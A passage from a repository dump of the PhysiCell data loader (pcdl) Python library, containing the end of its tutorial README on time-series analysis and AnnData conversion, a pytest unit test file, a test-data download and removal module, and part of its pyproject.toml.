c = 'oncoprotein',\n cmap = 'magma',\n vmin = 0,\n vmax = 2,\n grid = True,\n title = 'cells and microenvironment',\n ax = ax,\n)\nax.axis('equal')\nplt.tight_layout()\n\n# save plot to file\n# bue 20230101: note, in this test dataset, cells were seeded outside the actual domain.\nfig.savefig('pymcds_2d_cell_and_microenvironment.png', facecolor='white')\nplt.close()\n```\n\n\n#### Transform an MCDS Time Step into an AnnData Object\n\nThe [AnnData](https://anndata.readthedocs.io/en/latest/) format is the de facto standard for single cell data analysis in python.\\\nIt is a one-liner to transform a mcds object onto an anndata object.\\\nThis is the gate to a whole new universe.\n\n+ https://scverse.org/\n\n```python\nann = mcds.get_anndata()\nprint(ann) # AnnData object with n_obs × n_vars = 1099 × 80\n # obs: 'ID', 'current_phase', 'cycle_model'\n # obsm: 'spatial'\n```\n\nThe output tells us that we have loaded a time step with 1099 cells (agents) and 80 features.\nAnd that we have spatial coordinate annotation (position\\_x, position\\_y, position\\_z, time) of the loaded data.\n\nWhatever you d'like to do with your physicell data, it most probably was already done with single cell wet lab data.\nThat's being said: PhysiCell data is different scdata than scRNA seq, for example.\nscRNA seq data is higher dimensional (e.g. for the human genome, over 20000 genes each time step) than PhysiCell data (tens, maybe hundreds of features).\nscRNA seq data is always single time step data because the measurement consumes the sample.\nPhysiCell data is always time series data, even we look at this moment only at one time step.\nThis all means, the wet lab bioinformatics will partially try to solve problems (e.g. trajectory inference), that simply are no problems for us and the other way around.\n\nAnyhow, the gate is open.\nFor the shake of appearances, let's do a cluster analysis on PhysiCell output using scanpy.\n\n```python\nimport scanpy as sc\n\n# loads only feature that have not the same value in all cells.\n# max absolute scales the features into a range between -1 and 1.\nann = mcds.get_anndata(states=2, scale='maxabs')\n\n# principal component analysis\nsc.tl.pca(ann) # process anndata object with the pca tool.\nsc.pl.pca(ann) # plot pca result.\nann.var_names # list the numerical features we have at hand (alternative way: ann.var.index).\nann.obs_keys() # list the categories features we have at hand (alternative way: ann.obs.columns).\nsc.pl.pca(ann, color=['current_phase','oxygen']) # plot the pca results colored by some features.\nsc.pl.pca(ann, color=list(ann.var_names)+list(ann.obs_keys())) # gotta catch 'em all!\nsc.pl.pca_variance_ratio(ann) # plot how much of the variation each principal component captures.\n\n# neighborhood graph clustering\nsc.pp.neighbors(ann, n_neighbors=15) # compute the neighborhood graph with the neighbors preprocess step.\nsc.tl.leiden(ann, resolution=0.01) # cluster the neighborhood graph with the leiden tool.\nsc.pl.pca(ann, color='leiden') # plot the pca results colored by leiden clusters.\n\n# umap dimensional reduction embedding\nsc.tl.umap(ann) # process anndata object with the umap tool.\nsc.pl.umap(ann, color=['current_phase','oxygen','leiden']) # plot the umap result colored by some features.\n```\n\n\n### Working With MCDS Time Series in Python3\n\nAn exciting thing about modeling is to have time series data.\\\nPcdl's TimeSeries class is here to make the handling of a time series of MCD snapshots easy.\n\n```python\nimport pathlib # library to locate the test data\nimport pcdl # the physicell data loader library\n\ns_path = str(pathlib.Path(pcdl.__file__).parent.joinpath('data_timeseries_2d')) # local path to the installed test data set\nprint('mcds time series:', s_path)\n\n# generate a mcds time series instance\nmcdsts = pcdl.TimeSeries(s_path)\n```\n\nLike in the pyMCDs class, for memory consumption and processing speed control, we can specify if we want to load microenvironment data and graph data from the snapshots we later on analyze.\\\nBy default, all data related to the snapshot is loaded, if needed, we can set load to False.\\\nAdditionally, we can exclude to read the PhysiCell\\_settings.xml file, if it is not available, and fine tune variable typing.\n\n```python\n# fine tuned the way mcds objects will be loaded\nmcdsts = pcdl.TimeSeries(s_path, custom_type={}, load=True, microenv=False, graph=False, settingxml=None)\n```\n\n\n#### MCDS Times Series Data Analysis - the Basics\n\nNow, let's have a look at the TimeSeries instances data analysis functions.\n\n```python\n# fetch data\nmcdsts = pcdl.TimeSeries(s_path, load=False)\n```\n\n+ **get_xmlfile_list** will simply return a list of absolute path and mcds xml file name strings.\\\nThis list can be manipulated, and later be fed into the objects read\\_xml function, to only read specific snapshots into memory.\nFor example, if you want only to analyze hour 11, 12, and 13 from your run, or if data from every other hour will be enough.\n\n```python\nls_xml = mcdsts.get_xmlfile_list()\nls_xml # ['/path/to/output00000000.xml', '/path/to/output00000001.xml', ..., '/path/to/output00000024.xml']\n\n# filter for snapshot 11,12, and 13\nls_xml_11_12_13 = ls_xml[11:14]\nls_xml_11_12_13 # ['/path/to/output00000011.xml', '/path/to/output00000012.xml', '/path/to/output00000013.xml']\n\n# filter for every other snapshot\nls_xml_even = [s_xml for i, s_xml in enumerate(ls_xml) if (i%2 == 0)]\nls_xml_even # ['/path/to/output00000000.xml', '/path/to/output00000002.xml', ..., /path/to/output00000024.xml']\n```\n\n+ **read_xml** will actually read the snapshots into RAM.\\\nThe default setting will read all snapshots from a time series. \\\nHowever, you can always use a filtered ls\\_xml list to only load a subset of snapshots.\n\n```python\n# load all snapshots\nmcdsts.read_mcds()\nmcdsts.get_mcds_list() # YMMV! [<pcdl.pyMCDS.pyMCDS at 0x7fa660996b00>, <pcdl.pyMCDS.pyMCDS at 0x7fa67673e1d0>, ..., <pcdl.pyMCDS.pyMCDS at 0x7fa660950f10>]\nlen(mcdsts.get_mcds_list()) # 25\n\n# load snapshot 11, 12, and 13\nmcdsts.read_mcds(ls_xml_11_12_13)\nlen(mcdsts.get_mcds_list()) # 3\n\n# load all even snapshots\nmcdsts.read_mcds(ls_xml_even)\nlen(mcdsts.get_mcds_list()) # 13\n```\n\nSingle snapshots can now be accessed by indexing.\\\nWith a single snapshot, you work exactly in the same way as with an object loaded by TimeStep.\n\n```python\n# get the simulation time\nmcdsts.get_mcds_list()[12].get_time() # 720.0\n\n# get the cell data frame\ndf = mcdsts.get_mcds_list()[12].get_cell_df()\ndf.shape # (992, 87)\ndf.head()\n```\n\nIt is very easy to loop over the whole time series, to analyze time series data, and generate time series plots.\n\n```python\n# load library\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# fetch data\nmcdsts = pcdl.TimeSeries(s_path)\n\n# loop over the time series to gather temporal information like, for example, data for a growth curve\nlr_time = [mcds.get_time() for mcds in mcdsts.get_mcds_list()] # [0.0, 60.0, ..., 1440.0]\nli_cellcount = [mcds.get_cell_df().shape[0] for mcds in mcdsts.get_mcds_list()] # [889, 898, ..., 1099]\n\n# pack data into a pandas datafarm\ndf = pd.DataFrame([lr_time,li_cellcount], index=['time_min','cell_count']).T\ndf.head()\n\n# plot data\ndf.plot(\n kind = 'scatter',\n x = 'time_min',\n y = 'cell_count',\n s = 36,\n ylim = (800,1200),\n grid=True,\n title='2D time series test data'\n)\n\n# save plot to file\nfig, ax = plt.subplots()\ndf.plot(\n kind = 'scatter',\n x = 'time_min',\n y = 'cell_count',\n s = 36,\n ylim = (800,1200),\n grid = True,\n title = '2D time series test data',\n ax = ax,\n)\nplt.tight_layout()\nfig.savefig('pymcdsts_2d_cellcount.png', facecolor='white')\nplt.close()\n```\n\n\n#### Times Series Data Scatter Plot Images, Contour Plot Images, and Movies\n\nWith PhysiCell it is not only possible to take data snapshots, but as well [svg](https://en.wikipedia.org/wiki/SVG) vector graphics images snapshots.\\\nPhysiCell's [Makefile](https://en.wikipedia.org/wiki/Make_(software)) has code to translate those svg images into [gif](https://en.wikipedia.org/wiki/GIF), [jpeg](https://en.wikipedia.org/wiki/JPEG), [png](https://en.wikipedia.org/wiki/Portable_Network_Graphics), or [tiff](https://en.wikipedia.org/wiki/TIFF) format, making use of the [image magick](https://en.wikipedia.org/wiki/ImageMagick) library.\nThe Makefile also has code to translate the jpeg, png, or tiff images into a [mp4](https://en.wikipedia.org/wiki/MP4_file_format) movie, therefore utilizing the [ffmpeg](https://en.wikipedia.org/wiki/FFmpeg) library.\\\nTimeSeries instances provide similar functionality, although the jpeg, png, and tiff images are generated straight from data and not from the svg files.\nHowever, mp4 movies and gif images are generated in the same way.\nThis means the mcdsts.make\\_gif code will only run if image magick and mcdsts.make\\_movie code will only run if ffmpeg is installed on your computer.\n\n```python\n# fetch data\nmcdsts = pcdl.TimeSeries(s_path)\n```\n\nTranslate physicell output data into static raster graphic images:\n\n```python\n# cell images colored by cell_type\nmcdsts.make_imgcell() # jpeg images colored by cell_type\nmcdsts.make_imgcell(ext='png') # png images colored by cell_type\nmcdsts.make_imgcell(ext='tiff') # tiff images colored by cell_type\n\n# cell images can be colored by any cell dataframe column, like, for example, by pressure\n# there are parameters to adjust cell size and more\nmcdsts.make_imgcell(focus='pressure') # jpeg images colored by pressure values\n\n# substrate data owns an equivalent function,\n# being able to display any substrate dataframe column\nmcdsts.make_imgsubs(focus='oxygen') # jpeg images colored by oxygen values\n```\n\nTranslate raster graphic images into a dynamic gif image:\\\nGif images can only be generated for already existing jpeg, png, or tiff images!\\\nBy default, jpeg files will be used, to generate the gif.\\\nIf png or tiff files should be used as source, then this has to be explicitly stated.\n\n```python\n# using jpeg images for input\ns_path = mcdsts.make_imgcell()\nmcdsts.make_gif(s_path)\n\n# using jpeg images one-liner\nmcdsts.make_gif(mcdsts.make_imgcell())\n\n# using tiff images for input\ns_path = mcdsts.make_imgcell(ext='tiff')\nmcdsts.make_gif(s_path, interface='tiff')\n```\n\nTranslate raster graphic images into an mp4 movie:\\\nMovies can only be generated for already existing jpeg, png, or tiff images!\n\n```python\n# using jpeg images for input\ns_path = mcdsts.make_imgcell()\nmcdsts.make_movie(s_path)\n\n# using jpeg images one-liner\nmcdsts.make_movie(mcdsts.make_imgcell())\n\n# using tiff images for input\ns_path = mcdsts.make_imgcell(ext='tiff')\nmcdsts.make_movie(s_path, interface='tiff')\n```\n\n\n#### MCDS Times Series Data Triage\n\nCell variables that have no variance, zero entropy, that are in all agent overall time steps in the same state, have always exacted the same value, carry no information.\nSimilarly, substrates variables that over the whole domain overall time steps have the same concentration are not interesting.\n\n```python\n# fetch data\nmcdsts = pcdl.TimeSeries(s_path)\n```\n\nThere are functions to help triage over the entier time series for features that more likely might carry information, by checking for variables with variation.\n```\n# cell data min max values\ndl_cell = mcdsts.get_cell_df_states() # returns a dictionary with all features, listing all accessed states\nlen(dl_cell) # 84 features\ndl_cell.keys() # list feature names\ndl_cell['oxygen'] # list min and max oxygen values found, surrounding a cell, over the whole series\n\n# cell data number of states\ndi_state = {}\n[di_state.update({s_feature: len(li_state)}) for s_feature, li_state in mcdsts.get_cell_df_states(allvalues=True).items()]\ndi_state['oxygen'] # cell surrounding oxygen was found occupying 2388 different states (values) over the whole time series\n\n# substrate data\ndl_conc = mcdsts.get_conc_df_states()\ndl_conc.keys() # list feature names\ndl_conc['oxygen'] # list min and max oxygen values found in the domain over the whole series\n```\n\n\n#### Transform MCDS Time Series into AnnData Objects\n\n```python\n# fetch data\nmcdsts = pcdl.TimeSeries(s_path)\n```\n\nA mcds time series can be translated into one single anndata (default).\n```python\nann = mcdsts.get_anndata(states=2, scale='maxabs', collapse=True)\nprint(ann) # AnnData object with n_obs × n_vars = 889 × 26\n # obs: 'z_layer', 'time', 'current_phase', 'cycle_model'\n # obsm: 'spatial'\n```\nThe output tells us that we have loaded a time series with 24758 cell (agent) snapshots and 27 features.\nAnd that we have spatial coordinate annotation (position\\_x, position\\_y, position\\_z, time) of the loaded data.\n\nA mcds time series can be translated into a chronological list of anndata objects, where each entry is a single time step.\nAfter running get\\_anndata, you can access the objects by the get\\_annmcds\\_list function.\n```python\nl_ann = mcdsts.get_anndata(states=2, scale='maxabs', collapse=False)\nlen(l_ann) # 25\nl_ann[24] # AnnData object with n_obs × n_vars = 1099 × 79\n # obs: 'z_layer', 'time', 'cell_type', 'current_death_model', 'current_phase', 'cycle_model'\n # obsm: 'spatial'\n\n# load all snapshots\nmcdsts.get_annmcds_list() # YMMV! [AnnData object with n_obs × n_vars ..., ..., ... obsm: 'spatial']\nlen(mcdsts.get_annmcds_list()) # 25\n```\n\n\n### Data Clean Up\n\nAfter you are done checking out the results, you can uninstall the test datasets and all files stored within its folders.\n\n```\npcdl.uninstall_data()\n```\n\n\n**That's all Folks!**\n" }, { "alpha_fraction": 0.5030292868614197, "alphanum_fraction": 0.5316624045372009, "avg_line_length": 42.49458312988281, "blob_id": "77201aab0ba6548cc4d53090384e74138b5acb69", "content_id": "f2004ed45a41fceeeb0696e784610a641f7023af", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12049, "license_type": "permissive", "max_line_length": 167, "num_lines": 277, "path": "/test/test_timestep_3d_microenvfalse.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "#####\n# title: test_snapshot_3d_microenvfalse.py\n#\n# language: python3\n# author: Elmar Bucher\n# date: 2022-10-15\n# license: BSD 3-Clause\n#\n# description:\n# pytest unit test library for the pcdl library pyMCDS class.\n# + https://docs.pytest.org/\n#\n# note:\n# assert actual == expected, message\n# == value equality\n# is reference equality\n# pytest.approx for real values\n#####\n\n\n# load library\nimport matplotlib.pyplot as plt\nimport os\nimport pathlib\nimport pcdl\n\n\n# const\ns_path_3d = str(pathlib.Path(pcdl.__file__).parent.resolve()/'data_timeseries_3d')\ns_file_3d = 'output00000024.xml'\ns_pathfile_3d = f'{s_path_3d}/{s_file_3d}'\n\n\n# test data\nif not os.path.exists(s_path_3d):\n pcdl.install_data()\n\n\n# test function\nclass TestyMcdsMicroenvFalse3D(object):\n ''' test for pcdl.pyMCDS data loader with microenvironment, graph, and settingxml set to False '''\n mcds = pcdl.pyMCDS(xmlfile=s_file_3d, output_path=s_path_3d, custom_type={}, microenv=False, graph=False, settingxml=False, verbose=True)\n\n def test_pyMCDS(self, mcds=mcds):\n # load physicell data\n print(f\"process: pcdl.pyMCDS(xmlfile={s_file_3d}, output_path={s_path_3d}, custom_type={{}}, microenv=False, graph=False, settingxml=False, verbose=True) ...\")\n assert str(type(mcds)) == \"<class 'pcdl.pyMCDS.pyMCDS'>\"\n\n ## metadata related functions\n # nop\n\n ## mesh related functions\n def test_mcds_get_voxel_ijk_range(self, mcds=mcds):\n ltr_range = mcds.get_voxel_ijk_range()\n assert ltr_range == [(0, 10), (0, 10), (0, 10)]\n\n def test_mcds_get_mesh_mnp_range(self, mcds=mcds):\n ltr_range = mcds.get_mesh_mnp_range()\n assert ltr_range == [(-15, 285), (-10, 190), (-5, 95)]\n\n def test_mcds_get_xyz_range(self, mcds=mcds):\n ltr_range = mcds.get_xyz_range()\n assert ltr_range == [(-30, 300), (-20, 200), (-10, 100)]\n\n def test_mcds_get_voxel_ijk_axis(self, mcds=mcds):\n lar_axis = mcds.get_voxel_ijk_axis()\n assert (str(type(lar_axis)) == \"<class 'list'>\") and \\\n (len(lar_axis) == 3) and \\\n (str(type(lar_axis[0])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[0].dtype) in {\"int64\", \"int32\"}) and \\\n (lar_axis[0].shape == (11,)) and \\\n (str(type(lar_axis[1])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[1].dtype) in {\"int64\", \"int32\"}) and \\\n (lar_axis[1].shape == (11,)) and \\\n (str(type(lar_axis[2])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[2].dtype) in {\"int64\", \"int32\"}) and \\\n (lar_axis[2].shape == (11,))\n\n def test_mcds_get_mesh_mnp_axis(self, mcds=mcds):\n lar_axis = mcds.get_mesh_mnp_axis()\n assert (str(type(lar_axis)) == \"<class 'list'>\") and \\\n (len(lar_axis) == 3) and \\\n (str(type(lar_axis[0])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[0].dtype) == \"float64\") and \\\n (lar_axis[0].shape == (11,)) and \\\n (str(type(lar_axis[1])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[1].dtype) == \"float64\") and \\\n (lar_axis[1].shape == (11,)) and \\\n (str(type(lar_axis[2])) == \"<class 'numpy.ndarray'>\") and \\\n (str(lar_axis[2].dtype) == \"float64\") and \\\n (lar_axis[2].shape == (11,))\n\n def test_mcds_get_mesh_flat_false(self, mcds=mcds):\n aar_mesh = mcds.get_mesh(flat=False)\n assert (str(type(aar_mesh)) == \"<class 'numpy.ndarray'>\") and \\\n (len(aar_mesh) == 3) and \\\n (str(type(aar_mesh[0])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_mesh[0].dtype) == \"float64\") and \\\n (aar_mesh[0].shape == (11, 11, 11)) and \\\n (str(type(aar_mesh[1])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_mesh[1].dtype) == \"float64\") and \\\n (aar_mesh[1].shape == (11, 11, 11)) and \\\n (str(type(aar_mesh[2])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_mesh[2].dtype) == \"float64\") and \\\n (aar_mesh[2].shape == (11, 11, 11))\n\n def test_mcds_get_mesh_flat_true(self, mcds=mcds):\n aar_mesh = mcds.get_mesh(flat=True)\n assert (str(type(aar_mesh)) == \"<class 'numpy.ndarray'>\") and \\\n (len(aar_mesh) == 2) and \\\n (str(type(aar_mesh[0])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_mesh[0].dtype) == \"float64\") and \\\n (aar_mesh[0].shape == (11, 11)) and \\\n (str(type(aar_mesh[1])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_mesh[1].dtype) == \"float64\") and \\\n (aar_mesh[1].shape == (11, 11))\n\n def test_mcds_get_mesh_2d(self, mcds=mcds):\n aar_mesh_flat = mcds.get_mesh(flat=True)\n aar_mesh_2d = mcds.get_mesh_2D()\n assert (str(type(aar_mesh_2d)) == \"<class 'numpy.ndarray'>\") and \\\n (len(aar_mesh_2d) == 2) and \\\n (aar_mesh_2d[0] == aar_mesh_flat[0]).all() and \\\n (aar_mesh_2d[1] == aar_mesh_flat[1]).all()\n\n def test_mcds_get_mesh_coordinate(self, mcds=mcds):\n # cube coordinates\n ar_m_cube, ar_n_cube, ar_p_cube = mcds.get_mesh(flat=False)\n er_m_cube = set(ar_m_cube.flatten())\n er_n_cube = set(ar_n_cube.flatten())\n er_p_cube = set(ar_p_cube.flatten())\n # linear coordinates\n aar_voxel = mcds.get_mesh_coordinate()\n assert (str(type(aar_voxel)) == \"<class 'numpy.ndarray'>\") and \\\n (len(aar_voxel) == 3) and \\\n (str(type(aar_voxel[0])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_voxel[0].dtype) == \"float64\") and \\\n (set(aar_voxel[0]) == er_m_cube) and \\\n (aar_voxel[0].shape == (1331,)) and \\\n (str(type(aar_voxel[1])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_voxel[1].dtype) == \"float64\") and \\\n (set(aar_voxel[1]) == er_n_cube) and \\\n (aar_voxel[1].shape == (1331,)) and \\\n (str(type(aar_voxel[2])) == \"<class 'numpy.ndarray'>\") and \\\n (str(aar_voxel[2].dtype) == \"float64\") and \\\n (set(aar_voxel[2]) == er_p_cube) and \\\n (aar_voxel[2].shape == (1331,))\n\n def test_mcds_get_voxel_volume(self, mcds=mcds):\n r_volume = mcds.get_voxel_volume()\n assert r_volume == 6000.0\n\n def test_mcds_get_mesh_spacing(self, mcds=mcds):\n lr_spacing = mcds.get_mesh_spacing()\n assert lr_spacing == [30.0, 20.0, 10.0]\n\n def test_mcds_get_voxel_spacing(self, mcds=mcds):\n lr_spacing = mcds.get_voxel_spacing()\n assert lr_spacing == [30.0, 20.0, 10.0]\n\n def test_mcds_is_in_mesh(self, mcds=mcds):\n assert mcds.is_in_mesh(x=42, y=42, z=42, halt=False) and \\\n not mcds.is_in_mesh(x=-42, y=-42, z=-42, halt=False)\n\n def test_mcds_get_voxel_ijk(self, mcds=mcds):\n li_voxel_0 = mcds.get_voxel_ijk(x=0, y=0, z=0, is_in_mesh=True)\n li_voxel_1 = mcds.get_voxel_ijk(x=15, y=10, z=5, is_in_mesh=True)\n li_voxel_2 = mcds.get_voxel_ijk(x=30, y=20, z=10, is_in_mesh=True)\n li_voxel_3 = mcds.get_voxel_ijk(x=333, y=222, z=111, is_in_mesh=True)\n assert (li_voxel_0 == [0, 0, 0]) and \\\n (li_voxel_1 == [1, 1, 1]) and \\\n (li_voxel_2 == [2, 2, 2]) and \\\n (li_voxel_3 is None)\n\n ## micro environment related functions\n def test_mcds_get_substrate_names(self, mcds=mcds):\n ls_substrate = mcds.get_substrate_names()\n assert (str(type(ls_substrate)) == \"<class 'list'>\") and \\\n (len(ls_substrate) == 0)\n\n def test_mcds_get_substrate_dict(self, mcds=mcds):\n ds_substrate = mcds.get_substrate_dict()\n assert (str(type(ds_substrate)) == \"<class 'dict'>\") and \\\n (len(ds_substrate) == 0) # settingxml=False\n\n ## cell related functions\n def test_mcds_get_cell_variables(self, mcds=mcds):\n ls_variable = mcds.get_cell_variables()\n assert (str(type(ls_variable)) == \"<class 'list'>\") and \\\n (len(ls_variable) == 97) and \\\n (ls_variable[0] == 'ID')\n\n def test_mcds_get_celltype_dict(self, mcds=mcds):\n ds_celltype = mcds.get_celltype_dict()\n assert (str(type(ds_celltype)) == \"<class 'dict'>\") and \\\n (len(ds_celltype) == 0) # settingxml=False\n\n def test_mcds_get_cell_df(self, mcds=mcds):\n df_cell = mcds.get_cell_df(states=0, drop=set(), keep=set())\n assert (str(type(df_cell)) == \"<class 'pandas.core.frame.DataFrame'>\") and \\\n (df_cell.shape == (20460, 111))\n\n def test_mcds_get_cell_df_states(self, mcds=mcds):\n df_cell = mcds.get_cell_df(states=2, drop=set(), keep=set())\n assert (str(type(df_cell)) == \"<class 'pandas.core.frame.DataFrame'>\") and \\\n (df_cell.shape == (20460, 30))\n\n def test_mcds_get_cell_df_keep(self, mcds=mcds):\n df_cell = mcds.get_cell_df(states=0, drop=set(), keep={'total_volume'})\n assert (str(type(df_cell)) == \"<class 'pandas.core.frame.DataFrame'>\") and \\\n (df_cell.shape == (20460, 12))\n\n def test_mcds_get_cell_df_at(self, mcds=mcds):\n df_cell = mcds.get_cell_df_at(x=0, y=0, z=0, states=1, drop=set(), keep=set())\n assert (str(type(df_cell)) == \"<class 'pandas.core.frame.DataFrame'>\") and \\\n (df_cell.shape == (5, 111))\n\n def test_mcds_get_scatter_cat(self, mcds=mcds):\n fig = mcds.get_scatter(\n focus='cell_type', # case categorical\n z_slice = -3.333, # test if\n z_axis = None, # test if categorical\n #cmap = 'viridis', # matplotlib\n #title = None, # matplotlib\n #grid = True, # matplotlib\n #legend_loc = 'lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n figsize = (6.4, 4.8), # test if case\n ax = None, # generate matplotlib figure\n )\n assert (str(type(fig)) == \"<class 'matplotlib.figure.Figure'>\")\n\n def test_mcds_get_scatter_cat_cmap(self, mcds=mcds):\n fig, ax = plt.subplots()\n mcds.get_scatter(\n focus='cell_type', # case categorical\n z_slice = 0, # jump over if\n z_axis = None, # test if categorical\n cmap = {'0': 'maroon'}, # matplotlib and label '0' because settingxml=False.\n title ='scatter cat', # matplotlib\n #grid = True, # matplotlib\n #legend_loc = 'lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n #figsize = None, # test if ax case\n ax = ax, # use axis from existing matplotlib figure\n )\n assert (str(type(fig)) == \"<class 'matplotlib.figure.Figure'>\")\n\n def test_mcds_get_scatter_num(self, mcds=mcds):\n fig = mcds.get_scatter(\n focus='pressure', # case numeric\n z_slice = -3.333, # test if\n z_axis = None, # test if numeric\n #cmap = 'viridis', # matplotlib\n #title = None, # matplotlib\n #grid = True, # matplotlib\n #legend_loc = 'lower left', # matplotlib\n xlim = None, # test if\n ylim = None, # test if\n xyequal = True, # test if\n s = None, # test if\n figsize = None, # else case\n ax = None, # generate matplotlib figure\n )\n assert (str(type(fig)) == \"<class 'matplotlib.figure.Figure'>\")\n\n ## unit related functions\n def test_mcds_get_unit_se(self, mcds=mcds):\n se_unit = mcds.get_unit_se()\n assert (str(type(se_unit)) == \"<class 'pandas.core.series.Series'>\") and \\\n (se_unit.shape == (99,))\n\n" }, { "alpha_fraction": 0.5765069723129272, "alphanum_fraction": 0.5838485360145569, "avg_line_length": 29.797618865966797, "blob_id": "42bec49437fb244ec260faf7b8c14f48721d5af6", "content_id": "02048a48723327dba4adb641482fa054621879ff", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2588, "license_type": "permissive", "max_line_length": 114, "num_lines": 84, "path": "/pcdl/data_timeseries.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "#########\n# title: data_timeseries.py\n#\n# language: python3\n# date: 2023-06-11\n# license: BSD-3-Clause\n# authors: Patrick Wall, Randy Heiland, Paul Macklin, Elmar Bucher\n#\n# description:\n# code to download the data_timeseries.tar.gz files\n# from the source code repository, and extract them to where\n# the pcdl library is installed, and code to remove the installed\n# data_timeseries folders.\n# the extracted data_timeseries_2d and data_timeseries_3d folder contains\n# example PhysiCell output, necessary to run the pytest unit tests\n# and useful to run through the tutorial.\n#########\n\n\n# library\nimport os\nimport pathlib\nimport pcdl\nimport requests\nimport shutil\nimport tarfile\n\n\n# object classes\nclass install_data:\n \"\"\"\n description:\n function to install a 2D and 3D PhysiCell output test dataset.\n \"\"\"\n def __init__(self):\n # get pcdl library installation path\n s_path = str(pathlib.Path(pcdl.__file__).parent).replace('\\\\','/') + '/'\n\n # for each timeseries\n for s_url in [\n 'https://raw.githubusercontent.com/elmbeech/physicelldataloader/master/data_timeseries_2d.tar.gz',\n 'https://raw.githubusercontent.com/elmbeech/physicelldataloader/master/data_timeseries_3d.tar.gz',\n ]:\n # get path and filename\n s_file = s_url.split('/')[-1]\n s_pathfile = s_path + s_file\n\n # download tar.gz file\n print(f'download: {s_url}')\n o_response = requests.get(s_url)\n\n print(f'extract: {s_pathfile}\\n')\n # save tar.gz file\n f = open(s_pathfile, 'wb')\n f.write(o_response.content)\n f.close()\n # extract tar.gz file\n f = tarfile.open(s_pathfile, 'r')\n f.extractall(s_path)\n\n\nclass uninstall_data:\n \"\"\"\n description:\n function to uninstall the 2D and 3D PhysiCell output test dataset,\n and all other files stored within its folders.\n \"\"\"\n def __init__(self):\n # get pcdl library installation path\n s_path = str(pathlib.Path(pcdl.__file__).parent) + '/'\n\n # for each obsolet timeserie\n for s_file in sorted(os.listdir(s_path)):\n if s_file.startswith('data_timeseries_'):\n\n # get path and filename\n s_pathfile = s_path + s_file\n\n # delete timeseries\n print(f'remove: {s_pathfile}')\n if os.path.isfile(s_pathfile):\n os.remove(s_pathfile)\n else:\n shutil.rmtree(s_pathfile)\n\n" }, { "alpha_fraction": 0.6471742391586304, "alphanum_fraction": 0.6605180501937866, "avg_line_length": 22.154544830322266, "blob_id": "c6bf62fda5f8c4abcc14a487ee1809fcd4211e91", "content_id": "fc3a2964d93eccbfe93b05404cedb49902da433b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 2548, "license_type": "permissive", "max_line_length": 209, "num_lines": 110, "path": "/pyproject.toml", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "#####\n# A hatchling based setup module.\n#\n# See:\n# https://packaging.python.org/en/latest/\n# https://packaging.python.org/en/latest/tutorials/packaging-projects/\n# https://hatch.pypa.io/latest/\n#\n# releasing a next version on pypi:\n# 0. vim pcdl/VERSION.py # increase version number in file\n# 1. git add pcdl/VERSION.py\n# 2. git status\n# 3. git commit -m'@ physicelldataloader : next release.'\n# 4. git tag -a v0.0.0 -m'version 0.0.0'\n# 5. rm -r dist\n# 6. python3 -c \"import pcdl; pcdl.uninstall_data()\"\n# 7. python3 -m build --sdist # make source distribution\n# 8. python3 -m build --wheel # make binary distribution python wheel\n# 9. twine upload dist/* --verbose\n# 10. git push origin\n# 11. git push --tag\n#####\n\n\n[build-system]\nrequires = [\"hatchling\"]\nbuild-backend = \"hatchling.build\"\n\n\n[project]\n# name of the project\n# pip install pcdl\n# import pcdl\nname = \"pcdl\"\ndynamic = [\"version\"]\n\ndescription = \"physicell data loader (pcdl) provides a platform independent, python3 based, pip installable interface to load output, generated with the PhysiCell agent based modeling framework, into python3.\"\nreadme = \"README.md\"\n\nrequires-python = \">=3.8, <4\"\n\nlicense = \"BSD-3-Clause\"\n#license-files = {paths = [\"LICENSE\"]}\n\nauthors = [\n {name=\"Elmar Bucher\", email=\"[email protected]\"}\n]\nmaintainers = [\n {name=\"Elmar Bucher\", email=\"[email protected]\"}\n]\n\nkeywords = [\n \"analysis\",\n \"data\",\n \"physicell\",\n \"python3\",\n]\nclassifiers = [\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: BSD License\",\n \"Programming Language :: Python :: 3 :: Only\",\n \"Topic :: Scientific/Engineering :: Bio-Informatics\",\n]\n\ndependencies = [\n \"matplotlib\",\n \"numpy\",\n \"pandas\",\n \"scipy\",\n]\n\n[project.optional-dependencies]\ndata = [\n \"requests\",\n]\nscverse = [\n \"anndata\",\n]\nall = [\n \"pcdl[data]\",\n \"pcdl[scverse]\",\n]\n\n[project.urls]\n\"Homepage lab\" = \"http://www.mathcancer.org/\"\n\"Homepage project\" = \"http://physicell.org/\"\nHompage = \"https://github.com/elmbeech/physicelldataloader\"\nDocumentation = \"https://github.com/elmbeech/physicelldataloader/tree/master/man\"\nIssues = \"https://github.com/elmbeech/physicelldataloader/issues\"\nSource = \"https://github.com/elmbeech/physicelldataloader\"\n#DOI = \"https://\"\n\n\n[tool.hatch.version]\npath = \"pcdl/VERSION.py\"\n\n\n[tool.hatch.build.targets.sdist]\ninclude = [\n \"/man\",\n \"/pcdl\",\n \"/test\",\n]\nexclude = [\n \"/data_timeseries_2d.tar.gz\",\n 